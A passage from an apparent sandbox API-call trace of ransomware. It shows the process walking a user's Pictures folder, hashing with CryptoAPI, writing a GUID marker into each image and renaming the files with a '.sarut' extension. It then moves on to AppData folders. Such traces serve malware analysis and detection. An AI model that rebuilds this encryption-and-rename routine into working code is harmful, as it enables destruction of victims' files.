phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.083] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.083] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.083] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.083] GetLastError () returned 0x0 [0272.083] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.083] CryptReleaseContext (hProv=0x2fa5390, dwFlags=0x0) returned 1 [0272.084] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x6525, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.084] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.084] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.084] CloseHandle (hObject=0x5c4) returned 1 [0272.085] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\pXiB_A.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\pxib_a.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\pXiB_A.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\pxib_a.png.sarut")) returned 1 [0272.087] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd80cd0, ftCreationTime.dwHighDateTime=0x1d4cafe, ftLastAccessTime.dwLowDateTime=0x18341670, ftLastAccessTime.dwHighDateTime=0x1d4cdf7, ftLastWriteTime.dwLowDateTime=0x18341670, ftLastWriteTime.dwHighDateTime=0x1d4cdf7, nFileSizeHigh=0x0, nFileSizeLow=0x16c5d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y5xwn1F.jpg", cAlternateFileName="")) returned 1 [0272.087] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\y5xwn1F.jpg") returned=".jpg" [0272.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\y5xwn1F.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\y5xwn1f.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.087] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=93277) returned 1 [0272.087] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.090] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16c37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.090] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.092] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16c5d, lpOverlapped=0x0) returned 1 [0272.093] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.093] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.093] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.093] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5390) returned 1 [0272.094] CryptCreateHash (in: hProv=0x2fa5390, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.094] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.094] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.094] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.094] GetLastError () returned 0x0 [0272.094] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.094] CryptReleaseContext (hProv=0x2fa5390, dwFlags=0x0) returned 1 [0272.095] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16c5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.095] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.095] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.095] CloseHandle (hObject=0x5c4) returned 1 [0272.100] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\y5xwn1F.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\y5xwn1f.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\y5xwn1F.jpg.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\y5xwn1f.jpg.sarut")) returned 1 [0272.102] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e136610, ftCreationTime.dwHighDateTime=0x1d4cb82, ftLastAccessTime.dwLowDateTime=0x999e52e0, ftLastAccessTime.dwHighDateTime=0x1d4d363, ftLastWriteTime.dwLowDateTime=0x999e52e0, ftLastWriteTime.dwHighDateTime=0x1d4d363, nFileSizeHigh=0x0, nFileSizeLow=0x17d29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YJEie6a3AkLk83C8Lu.png", cAlternateFileName="YJEIE6~1.PNG")) returned 1 [0272.102] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\YJEie6a3AkLk83C8Lu.png") returned=".png" [0272.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\YJEie6a3AkLk83C8Lu.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\yjeie6a3aklk83c8lu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.102] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=97577) returned 1 [0272.102] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.105] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17d03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.105] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.107] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x17d29, lpOverlapped=0x0) returned 1 [0272.108] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.108] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.108] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.108] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5390) returned 1 [0272.109] CryptCreateHash (in: hProv=0x2fa5390, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.109] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.109] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.111] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.111] GetLastError () returned 0x0 [0272.111] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.112] CryptReleaseContext (hProv=0x2fa5390, dwFlags=0x0) returned 1 [0272.115] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x17d29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.115] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.115] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.115] CloseHandle (hObject=0x5c4) returned 1 [0272.124] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\YJEie6a3AkLk83C8Lu.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\yjeie6a3aklk83c8lu.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\YJEie6a3AkLk83C8Lu.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\yjeie6a3aklk83c8lu.png.sarut")) returned 1 [0272.126] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ec2f00, ftCreationTime.dwHighDateTime=0x1d4c750, ftLastAccessTime.dwLowDateTime=0x9bae1890, ftLastAccessTime.dwHighDateTime=0x1d4cd9b, ftLastWriteTime.dwLowDateTime=0x9bae1890, ftLastWriteTime.dwHighDateTime=0x1d4cd9b, nFileSizeHigh=0x0, nFileSizeLow=0x8bfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zk2UII3QYbHa4.jpg", cAlternateFileName="ZK2UII~1.JPG")) returned 1 [0272.126] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\zk2UII3QYbHa4.jpg") returned=".jpg" [0272.126] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\zk2UII3QYbHa4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\zk2uii3qybha4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.127] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=35836) returned 1 [0272.127] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.129] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8bd6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.129] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.131] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x8bfc, lpOverlapped=0x0) returned 1 [0272.132] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.132] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.132] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.132] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5390) returned 1 [0272.133] CryptCreateHash (in: hProv=0x2fa5390, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.133] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.133] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.133] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.133] GetLastError () returned 0x0 [0272.133] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.133] CryptReleaseContext (hProv=0x2fa5390, dwFlags=0x0) returned 1 [0272.133] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8bfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.134] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.134] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.134] CloseHandle (hObject=0x5c4) returned 1 [0272.136] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\zk2UII3QYbHa4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\zk2uii3qybha4.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\bpyHeQcsI\\zk2UII3QYbHa4.jpg.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\bpyheqcsi\\zk2uii3qybha4.jpg.sarut")) returned 1 [0272.138] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ec2f00, ftCreationTime.dwHighDateTime=0x1d4c750, ftLastAccessTime.dwLowDateTime=0x9bae1890, ftLastAccessTime.dwHighDateTime=0x1d4cd9b, ftLastWriteTime.dwLowDateTime=0x9bae1890, ftLastWriteTime.dwHighDateTime=0x1d4cd9b, nFileSizeHigh=0x0, nFileSizeLow=0x8bfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zk2UII3QYbHa4.jpg", cAlternateFileName="ZK2UII~1.JPG")) returned 0 [0272.138] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.138] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.138] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.138] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0272.138] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0272.138] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.138] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.138] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.138] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.138] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.138] PathFindFileNameW (pszPath="") returned="" [0272.139] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.141] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.141] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0272.141] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0272.141] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.141] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c) returned 0x3076e18 [0272.141] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.141] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.141] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0272.141] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0272.141] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.141] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0272.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5170 | out: hHeap=0x640000) returned 1 [0272.142] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0272.142] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.143] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x727580 [0272.144] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x727580 | out: hHeap=0x640000) returned 1 [0272.144] RtlAllocateHeap 